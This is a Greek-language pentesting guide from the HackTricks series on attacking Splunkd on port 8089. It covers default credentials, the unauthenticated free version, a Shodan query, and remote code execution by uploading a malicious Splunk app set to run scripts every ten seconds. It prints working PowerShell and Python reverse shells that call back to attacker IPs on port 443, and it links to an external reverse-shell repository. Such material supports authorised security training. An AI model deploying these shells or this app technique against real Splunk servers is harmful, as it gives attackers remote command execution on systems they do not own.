# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **Βασικές Πληροφορίες** - Εργαλείο ανάλυσης καταγραφών που χρησιμοποιείται για τη συλλογή, ανάλυση και οπτικοποίηση δεδομένων - Χρησιμοποιείται συνήθως στην παρακολούθηση ασφάλειας και στην επιχειρηματική ανάλυση - Προεπιλεγμένες θύρες: - Διακομιστής ιστού: 8000 - Υπηρεσία Splunkd: 8089 ### Δ vectors Ευπάθειας: 1. Εκμετάλλευση Δωρεάν Έκδοσης - Η δοκιμαστική έκδοση μετατρέπεται αυτόματα σε δωρεάν έκδοση μετά από 60 ημέρες - Η δωρεάν έκδοση δεν έχει αυθεντικοποίηση - Πιθανός κίνδυνος ασφάλειας αν αφεθεί χωρίς διαχείριση - Οι διαχειριστές μπορεί να παραβλέψουν τις επιπτώσεις ασφάλειας 2. Αδυναμίες Διαπιστευτηρίων - Παλαιότερες εκδόσεις: Προεπιλεγμένα διαπιστευτήρια `admin:changeme` - Νεότερες εκδόσεις: Διαπιστευτήρια που ορίζονται κατά την εγκατάσταση - Πιθανότητα χρήσης αδύναμων κωδικών πρόσβασης (π.χ., `admin`, `Welcome`, `Password123`) 3. Ευκαιρίες Εκτέλεσης Κώδικα από Απόσταση - Πολλές μέθοδοι εκτέλεσης κώδικα: - Εφαρμογές Django πλευράς διακομιστή - REST endpoints - Σενάρια εισόδου - Σενάρια ειδοποίησης - Υποστήριξη πολλαπλών πλατφορμών (Windows/Linux) - Τα σενάρια εισόδου μπορούν να εκτελούνται: - Bash scripts - PowerShell scripts - Batch scripts Κύρια Δυνατότητα Εκμετάλλευσης: - Αποθήκευση ευαίσθητων δεδομένων - Έλλειψη αυθεντικοποίησης στη δωρεάν έκδοση - Πολλαπλοί δ vectors για πιθανή εκτέλεση κώδικα από απόσταση - Δυνατότητα εκμετάλλευσης σενάριων εισόδου για συμβιβασμό συστήματος ### Shodan - `Splunk build` ## RCE ### Δημιουργία Προσαρμοσμένης Εφαρμογής Το Splunk προσφέρει μια προηγμένη μέθοδο για την εκτέλεση κώδικα από απόσταση μέσω της ανάπτυξης προσαρμοσμένων εφαρμογών, εκμεταλλευόμενο τις δυνατότητες scripting πολλαπλών πλατφορμών του. Η βασική τεχνική εκμετάλλευσης περιστρέφεται γύρω από τη δημιουργία μιας κακόβουλης εφαρμογής που μπορεί να εκτελεί reverse shells σε συστήματα Windows και Linux. Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**. Επιπλέον, **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε **Windows** συστήματα θα μπορείτε να εκτελείτε κώδικα python. Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse_shell_splunk) το παράδειγμα με το **`bin`** που περιέχει παράδειγμα για [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ή μπορείτε να δημιουργήσετε το δικό σας. Η διαδικασία εκμετάλλευσης ακολουθεί μια συνεπή μεθοδολογία σε όλες τις πλατφόρμες: ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` Το κρίσιμο αρχείο ρύθμισης `inputs.conf` ενεργοποιεί το σενάριο με: - Ρύθμιση `disabled = 0` - Διαμόρφωση ενός διαστήματος εκτέλεσης 10 δευτερολέπτων - Ορισμός του τύπου πηγής του σεναρίου Η ανάπτυξη είναι απλή: 1. Δημιουργήστε το κακόβουλο πακέτο εφαρμογής 2. Ρυθμίστε έναν ακροατή (Netcat/socat) στη μηχανή επίθεσης 3. Ανεβάστε την εφαρμογή μέσω της διεπαφής του Splunk 4. Ενεργοποιήστε την αυτόματη εκτέλεση του σεναρίου κατά την ανέβασμα Δείγμα Windows PowerShell reverse shell: ```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` Δείγμα αντίστροφης θήκης Python σε Linux: ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE & Privilege Escalation Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## References - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}